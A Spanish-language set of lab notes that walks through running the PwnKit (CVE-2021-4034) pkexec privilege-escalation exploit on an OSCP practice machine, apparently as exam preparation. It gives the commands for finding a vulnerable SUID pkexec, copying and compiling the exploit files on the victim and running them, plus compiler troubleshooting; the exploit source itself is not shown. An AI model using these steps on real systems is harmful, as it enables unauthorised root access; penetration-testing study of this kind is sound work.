
Yo no escribí esto. Esto es solo para documentar mi ejecución/instrucción del uso del exploit, ya que hay algunos pasos muy intrincados y complicados a seguir.
Los archivos provienen de la siguiente fuente: https://packetstormsecurity.com/files/165739/PolicyKit-1-0.105-31-Privilege-Escalation.html
Asistencia adicional sobre la ejecución encontrada aquí: https://ine.com/blog/exploiting-pwnkit-cve-20214034
Esto fue probado/ejecutado en la VM de práctica Blackgate de OSCP: Ubuntu 20.04 Kernel 5.8.0-63-generic
Cómo saber si es vulnerable:
Comprueba los SUID disponibles y asegúrate de que /usr/bin/pkexec sea un binario SUID:
find / -perm -4000 2>/dev/null
Comprueba los permisos del binario:
ls -al /usr/bin/pkexec
Comprueba la versión de pkexec:
/usr/bin/pkexec --version
Versión vulnerable encontrada en Blackgate: pkexec version 0.105
Asegúrate de que el compilador esté disponible en la máquina víctima.
gcc version
Copia los archivos a la máquina víctima (Makefile, evil-so.c, exploit.c) Y compila usando el comando 'make all'. Ejecuta './exploit'
Comprueba la shell
si obtienes un error que indique cc: error trying to exec 'cc1': execvp: No such file or directory.
usa el comando locate cc1 para encontrar los binarios:
locate cc1
/lib/modules/4.15.0-20-generic/kernel/drivers/iio/adc/cc10001_adc.ko
/lib/modules/4.15.0-20-generic/vdso/.build-id/a0/297fe29f8038ef50a10a26c9fcf5249ccc1184.debug
/usr/lib/gcc/x86_64-linux-gnu/7/cc1
/usr/lib/gcc/x86_64-linux-gnu/7/libcc1.so
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so.0
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so.0.0.0
/usr/lib/x86_64-linux-gnu/libcc1.so.0
/usr/lib/x86_64-linux-gnu/libcc1.so.0.0.0
# Luego exporta la ubicación al PATH como referencia, intenta compilar de nuevo
Jack@oscp:/home/Jack$ export PATH=$PATH:/usr/lib/gcc/x86_64-linux-gnu/7/cc1